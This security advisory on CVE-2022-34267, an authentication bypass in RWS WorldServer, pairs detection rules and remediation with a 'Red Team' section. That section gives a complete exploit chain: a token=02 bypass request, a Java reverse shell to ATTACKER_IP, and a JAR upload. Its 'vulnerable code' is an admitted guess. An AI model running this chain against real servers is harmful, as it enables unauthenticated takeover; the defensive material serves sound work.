CVE-2022-34267

Executive Summary

CVE-2022-34267 is a critical authentication bypass vulnerability in RWS WorldServer, a translation management system. By appending the parameter token=02 to API requests, an unauthenticated attacker can bypass all authentication mechanisms. This allows arbitrary Java code to be uploaded and executed via the /ws-api/v2/customizations/api endpoint, leading to full remote code execution (RCE) with the privileges of the application server. The vulnerability has a CVSS score of 9.8 and is actively being exploited in the wild.

Supply Chain & Package Security

This vulnerability affects a proprietary enterprise application (RWS WorldServer) and is not related to open-source packages (NPM, PyPI, Go, Ruby). The risk is primarily to organizations using the affected software in their supply chain for translation and localization services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely over the network. Successful exploitation leads to complete compromise of the WorldServer instance.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the RWS WorldServer REST API. The API endpoints, particularly those under /ws-api/v2/, accept a token parameter to authenticate requests. The flaw is that the value 02 is treated as a valid authentication token for any user, including the built-in "System" account. This bypasses all authentication checks.

The exploitation chain is as follows:

1. Authentication Bypass: An attacker sends a request to any protected API endpoint with the parameter token=02. The server grants access as the "System" user.
2. Code Upload: The attacker then uses the /ws-api/v2/customizations/api endpoint to upload a malicious JAR file. This endpoint is designed to allow custom Java code to be added to the WorldServer instance.
3. Code Execution: The uploaded JAR file is automatically deployed and executed by the application server, giving the attacker arbitrary code execution.

The root cause is improper validation of the token parameter. The value 02 likely corresponds to a hardcoded or default token that was intended for internal use or testing but was not removed in production builds.

Vulnerable vs. Patched Code

Vulnerable Code (WorldServer < 11.7.3): The authentication filter likely contains logic similar to:

// Vulnerable: Accepts token "02" as valid for any user
String token = request.getParameter("token");
if ("02".equals(token)) {
    // Grant access as System user
    setCurrentUser("System");
    chain.doFilter(request, response);
    return;
}
// Normal authentication logic

Patched Code (WorldServer >= 11.7.3): The patched version removes the hardcoded token check and enforces proper token validation:

// Patched: No hardcoded tokens; validate against a secure token store
String token = request.getParameter("token");
if (token != null && tokenService.isValidToken(token)) {
    User user = tokenService.getUserForToken(token);
    setCurrentUser(user);
    chain.doFilter(request, response);
    return;
}
// Return 401 Unauthorized
response.sendError(HttpServletResponse.SC_UNAUTHORIZED);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: RWS WorldServer instance (version < 11.7.3)
• Tools: curl, java (for creating JAR), nuclei (optional)

Step 1: Verify Authentication Bypass

curl -k "https://target.com/ws-api/v2/users/me/details?token=02"

Expected response: JSON containing "fullName":"System".

Step 2: Create Malicious JAR Create a simple Java class that executes a reverse shell or command:

// Exploit.java
import java.io.*;
public class Exploit {
    public Exploit() {
        try {
            String[] cmd = {"/bin/bash", "-c", "exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile and package:

javac Exploit.java
jar cf exploit.jar Exploit.class

Step 3: Upload and Execute

curl -k -X POST "https://target.com/ws-api/v2/customizations/api?token=02" \
  -F "file=@exploit.jar"

The JAR is deployed and executed, triggering the reverse shell.

Alternative: Using Nuclei Template

nuclei -t CVE-2022-34267.yaml -u https://target.com

Blue Team (Defensive)

Detection:

• Monitor for requests containing token=02 in the query string.
• Alert on successful responses from /ws-api/v2/users/me/details?token=02 returning "fullName":"System".
• Monitor for POST requests to /ws-api/v2/customizations/api with file uploads (Content-Type: multipart/form-data).

Honeypot:

• Deploy a decoy WorldServer endpoint that logs all requests with token=02 and triggers an alert.

Lab Setup:

• Use a vulnerable version (e.g., 11.7.2) in an isolated Docker container.
• Monitor network traffic with tcpdump or Wireshark.
• Use SIEM rules to detect the exploit pattern.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with token=02 parameter.
• POST requests to /ws-api/v2/customizations/api with file uploads.
• Outbound connections from the WorldServer server to unknown IPs (reverse shells).

File IOCs:

• Unexpected JAR files in the customizations directory (e.g., /opt/worldserver/customizations/).
• New Java classes or scripts in the application's classpath.

Log IOCs:

• Access logs showing GET /ws-api/v2/users/me/details?token=02 returning 200.
• Application logs showing "System" user performing actions without prior authentication.

YARA Rule:

rule CVE_2022_34267_Exploit_JAR {
    meta:
        description = "Detects malicious JAR files used to exploit CVE-2022-34267"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-34267"
    strings:
        $token = "token=02" nocase
        $api_endpoint = "/ws-api/v2/customizations/api" nocase
        $class_header = { CA FE BA BE }  // Java class magic number
    condition:
        $class_header at 0 and ($token or $api_endpoint)
}

Detection Engineering

YARA Rule

rule CVE_2022_34267_Network_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2022-34267"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $token_param = "token=02" nocase
        $api_path = "/ws-api/v2/" nocase
    condition:
        $token_param and $api_path
}

Sigma Rule

title: CVE-2022-34267 RWS WorldServer Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2022-34267 via token=02 parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: "token=02"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate testing by authorized personnel
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2022-34267 RWS WorldServer Authentication Bypass";
    flow:to_server,established;
    content:"token=02"; http_uri;
    content:"/ws-api/v2/"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2022-34267;
)

Nuclei Template (Provided)

id: CVE-2022-34267

info:
  name: RWS WorldServer - Authentication Bypass
  author: pdresearch,iamnoooob,rootxharsh,parthmalhotra
  severity: critical
  description: |
    An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.
  impact: |
    Unauthenticated attackers can bypass all authentication by adding a token parameter with value 02, then upload and execute arbitrary Java code via JAR archives, potentially compromising the translation management system and accessing sensitive multilingual content.
  remediation: |
    Upgrade to RWS WorldServer version 11.7.3 or later that properly validates authentication tokens and restricts API access.
  reference:
    - https://www.triskelelabs.com/vulnerabilities-in-rws-worldserver
    - https://www.rws.com/localization/products/trados-enterprise/worldserver/
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-34267
    cwe-id: CWE-287
    epss-score: 0.78809
    epss-percentile: 0.99058
    cpe: cpe:2.3:a:rws:worldserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rws
    product: worldserver
    shodan-query: title:"WorldServer"
  tags: cve,cve2022,worldserver,auth-bypass,vuln

http:
  - raw:
      - |
        GET /ws-api/v2/users/me/details?token=02 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullName":"System"'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update RWS WorldServer to version 11.7.3 or later immediately.
2. Network Segmentation: Restrict access to the WorldServer API to trusted IPs only using firewall rules.
3. WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests containing token=02 in the query string.
4. Monitor Logs: Review access logs for any past exploitation attempts.

Long-Term Mitigations:

• Implement multi-factor authentication (MFA) for all API access.
• Conduct regular security audits of custom API endpoints.
• Apply the principle of least privilege to the WorldServer service account.
• Enable detailed logging and integrate with a SIEM for real-time alerting.

Patch Details:

• The official patch is included in RWS WorldServer version 11.7.3. Contact RWS support for upgrade instructions.

Valters IT

{/* [Security Hash: 239B2D0460A3B09439096332] */}